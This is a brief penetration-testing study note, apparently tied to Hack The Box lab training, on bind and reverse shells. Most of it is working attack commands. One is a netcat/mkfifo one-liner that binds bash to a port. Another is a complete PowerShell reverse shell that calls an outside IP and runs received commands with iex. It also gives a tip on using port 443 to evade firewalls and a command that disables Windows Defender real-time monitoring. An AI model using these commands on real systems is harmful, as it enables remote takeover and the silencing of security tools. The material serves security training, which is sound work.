# Shells and Payloads

## Types of Shell

### Bind Shell

<figure><img src="https://3782755820-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxiHgPDbj4maVZuaNWLtn%2Fuploads%2F0OMUPJQW6mtinxFqaK4A%2Fimage.png?alt=media&#x26;token=c538a909-289c-4908-9aed-6cefd54e04e7" alt=""><figcaption></figcaption></figure>

**No. 1: Server - Binding a Bash shell to the TCP session**

{% code overflow="wrap" %}

```shell-session
Target@server:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
```

{% endcode %}

**No. 2: Client - Connecting to bind shell on target**

```shell-session
$ nc -nv 10.129.41.200 7777

Target@server:~$ 
```

### Reverse Shell

<figure><img src="https://3782755820-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxiHgPDbj4maVZuaNWLtn%2Fuploads%2FcUEHGt2LI8CliX3iNWTY%2Fimage.png?alt=media&#x26;token=45ec5611-04aa-4b27-b9c6-353b5aa490e2" alt=""><figcaption></figcaption></figure>

**Server (attack box)**

```shell-session
$ sudo nc -lvnp 443
Listening on 0.0.0.0 443
```

* Use a common port (443) so there is less chance of the firewall blocking our request

#### Client (target)

```cmd-session
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

#### Disable AV

```powershell
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true
```

\\
